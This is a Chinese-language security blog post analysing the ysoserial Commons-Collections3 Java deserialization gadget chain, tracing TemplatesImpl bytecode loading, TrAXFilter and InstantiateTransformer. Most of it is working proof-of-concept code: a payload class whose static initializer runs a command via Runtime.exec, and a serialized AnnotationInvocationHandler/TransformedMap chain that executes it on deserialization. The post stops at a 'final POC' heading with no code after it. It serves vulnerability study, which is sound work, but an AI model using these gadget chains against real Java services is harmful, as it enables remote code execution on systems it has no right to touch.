ysoserial之Commons-Collections3链

发布于 2021-11-06  917 次阅读


ysoserial之Commons-Collections3链

cc1链中重点是用Runtime.exec实现命令执行的,而在cc3中则是换了一种方法,用到的是动态类加载实现任意代码执行。相当于扩展了利用的范围,多了一种利用的方法。具体的类加载的学习可以看这个视频:https://www.bilibili.com/video/BV16h411z7o9?p=4

测试环境:

jdk1.7.0_80

commons-collections-3.2.1

cc3链分析:

在利用的时候我们需要找到重写了类加载的方法defineClass,在ClassLoader中实现了4中defineClass方法。因此我们找其它可利用的类中重写了这里面的某一种。

image-20211105160718763

因此通过Alt+F7查找到了下面这个类中重写了:包com.sun.org.apache.xalan.internal.xsltc.trax中的TemplatesImpl类中实现了。这是在静态的内部类中实现的,并且是默认的声明,所以在这个类中的其它地方会调用这个方法。找一下

image-20211105161115816

也就找到了defineTransletClasses方法,不过是私有的,内部会调用,接着找。并且在这里可以看到通过for循环,依次加载_bytecodes中的内容,然后赋值给Class数组_class

image-20211105161420771

有三处调用了defineTransletClasses方法。

image-20211105162205583

然后就看哪一个可以利用了,前两个都没有地方调用了,最后一个getTransletInstance,可以看到将字节码加载进来之后,会执行_class[_transletIndex].newInstance,这里就会实例化类,执行任意代码了。因此接着找哪里调用了getTransletInstance方法

image-20211105164720365

因此找到了newTransformer,并且这个方法还是共有的。到此利用的链就找到了。先写代码实现一下

image-20211105165117393

现在来写一下怎么通过这个类的newTransformer执行任意代码,对成员变量如何赋值才能走到newInstance

首先在getTransletInstance方法中_name要赋值,_class要为空

image-20211105164720365

然后在defineTransletClasses方法中_bytecodes为我们传入的字节码,也就是class文件。这里的_tfactory需要调用方法,也要赋值。

image-20211105170103462

在往后如果走ifelse中的_auxClasses不用赋值,但是在后面的if会判断_transletIndex < 0,因此能在前面的if里面通过_transletIndex = i;赋值,所以_auxClasses就不用赋值了。这里的if是判断传入的字节码的父类要是ABSTRACT_TRANSLET,也就是需要继承这个包com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet

image-20211105172056402

实现代码如下:

//YsoserialCC3
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;

public class YsoserialCC3 {
    public static void main(String[] args) throws Exception {
        TemplatesImpl templates = new TemplatesImpl();
        Class tc = templates.getClass();
        Field nameField = tc.getDeclaredField("_name");
        nameField.setAccessible(true);
        nameField.set(templates, "1");

        Field bytecodesField = tc.getDeclaredField("_bytecodes");
        bytecodesField.setAccessible(true);
        //private byte[][] _bytecodes = null;
        byte[] code = Files.readAllBytes(Paths.get("F://code//Test.class"));
        byte[][] codes = {code};
        bytecodesField.set(templates, codes);
        //private transient TransformerFactoryImpl _tfactory = null;
        //由于这个是不可能被序列化的,其实不用赋值,不过这里是正这测试一下,所以还是得赋值
        Field tfactoryField = tc.getDeclaredField("_tfactory");
        tfactoryField.setAccessible(true);
        tfactoryField.set(templates, new TransformerFactoryImpl());

        templates.newTransformer();
    }

}
//Test.java
//将编译生成的Test.class放入F://code//Test.class
import java.io.IOException;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

public class Test extends AbstractTranslet{
    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}

image-20211105173932372

可以看到成功执行了。

现在就是如何去利用这个方法了newTransformer,这里就可以直接利用cc1链中的InvokerTransform.transformer反射调用这个方法。

最终的POC:

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class YsoserialCC3 {
    public static void main(String[] args) throws Exception {
        TemplatesImpl templates = new TemplatesImpl();
        Class tc = templates.getClass();
        Field nameField = tc.getDeclaredField("_name");
        nameField.setAccessible(true);
        nameField.set(templates, "1");

        Field bytecodesField = tc.getDeclaredField("_bytecodes");
        bytecodesField.setAccessible(true);
        //private byte[][] _bytecodes = null;
        byte[] code = Files.readAllBytes(Paths.get("F://code//Test.class"));
        byte[][] codes = {code};
        bytecodesField.set(templates, codes);
        //private transient TransformerFactoryImpl _tfactory = null;
        //由于这个是不可能被序列化的,其实不用赋值,不过这里是正这测试一下,所以还是得赋值
        Field tfactoryField = tc.getDeclaredField("_tfactory");
        tfactoryField.setAccessible(true);
        tfactoryField.set(templates, new TransformerFactoryImpl());

//        templates.newTransformer();
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(templates),
                new InvokerTransformer("newTransformer", null, null)
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        chainedTransformer.transform(1);

        HashMap<Object, Object> map = new HashMap<>();
        map.put("value", "value");
        Map<Object, Object> traTransformedMap = TransformedMap.decorate(map,null,chainedTransformer);
        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor annotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class, Map.class);
        annotationInvocationHandlerConstructor.setAccessible(true);;
        Object o = annotationInvocationHandlerConstructor.newInstance(Target.class, traTransformedMap);
        serialize(o);

        unserialize("ser.bin");
    }
    public static void serialize(Object obj) throws Exception {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static void unserialize(String Filename) throws Exception {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        ois.readObject();
    }

}

这条链是利用了cc1链中的代码,现在再来看一下ysoserial中的链,可以看到用的是InstantiateTransformer这个类

final Transformer[] transformers = new Transformer[] {
    new ConstantTransformer(TrAXFilter.class),
    new InstantiateTransformer(
        new Class[] { Templates.class },
        new Object[] { templatesImpl } )};

现在分析一下ysoserial中的链,上面的就分析到了newTransformer,那么我们在接着找哪里调用了newTransformer

可以看到在TrAXFilter的构造函数中调用的newTransformer,并且templates可控。只是这个类没有继承序列化的接口,所以只能从它的class入手。与Runtime类似

image-20211105175630048

ysoserial的cc3中作者使用的InstantiateTransformer 来替代InvokerTransformer。看一下这个类的作用,通过Transformer中的反射创建新的实例

image-20211105180202514

所以我们可以利用这个类中的transform来实例化TrAXFilter从而达到调用newTransformer的目的

public Object transform(Object input) {
    try {
        if (input instanceof Class == false) {
            throw new FunctorException(
                "InstantiateTransformer: Input object was not an instanceof Class, it was a "
                + (input == null ? "null object" : input.getClass().getName()));
        }
        Constructor con = ((Class) input).getConstructor(iParamTypes);
        return con.newInstance(iArgs);

    } catch (NoSuchMethodException ex) {
        throw new FunctorException("InstantiateTransformer: The constructor must exist and be public ");
    } catch (InstantiationException ex) {
        throw new FunctorException("InstantiateTransformer: InstantiationException", ex);
    } catch (IllegalAccessException ex) {
        throw new FunctorException("InstantiateTransformer: Constructor must be public", ex);
    } catch (InvocationTargetException ex) {
        throw new FunctorException("InstantiateTransformer: Constructor threw an exception", ex);
    }
}

看一下这个类的构造函数,参数和对象可控

public InstantiateTransformer(Class[] paramTypes, Object[] args) {
    super();
    iParamTypes = paramTypes;
    iArgs = args;
}

现在试试通过这个的transform执行代码

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import javax.xml.transform.Templates;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class YsoserialCC3 {
    public static void main(String[] args) throws Exception {
        Templates templates = new TemplatesImpl();
        Class tc = templates.getClass();
        Field nameField = tc.getDeclaredField("_name");
        nameField.setAccessible(true);
        nameField.set(templates, "1");

        Field bytecodesField = tc.getDeclaredField("_bytecodes");
        bytecodesField.setAccessible(true);
        //private byte[][] _bytecodes = null;
        byte[] code = Files.readAllBytes(Paths.get("F://code//Test.class"));
        byte[][] codes = {code};
        bytecodesField.set(templates, codes);
        //private transient TransformerFactoryImpl _tfactory = null;
        //由于这个是不可能被序列化的,其实不用赋值,不过这里是正这测试一下,所以还是得赋值
        Field tfactoryField = tc.getDeclaredField("_tfactory");
        tfactoryField.setAccessible(true);
        tfactoryField.set(templates, new TransformerFactoryImpl());
        //通过instantiateTransformer的transform来实例化TrAXFilter,从而执行templates.newTransformer()
        InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
        instantiateTransformer.transform(TrAXFilter.class);
    }
}

可以看到这里也用到了transform,所以我们将ChainedTransformer利用起来,就得到了ysoserial中的CC3链

最终POC:


沙上有印,光中有影!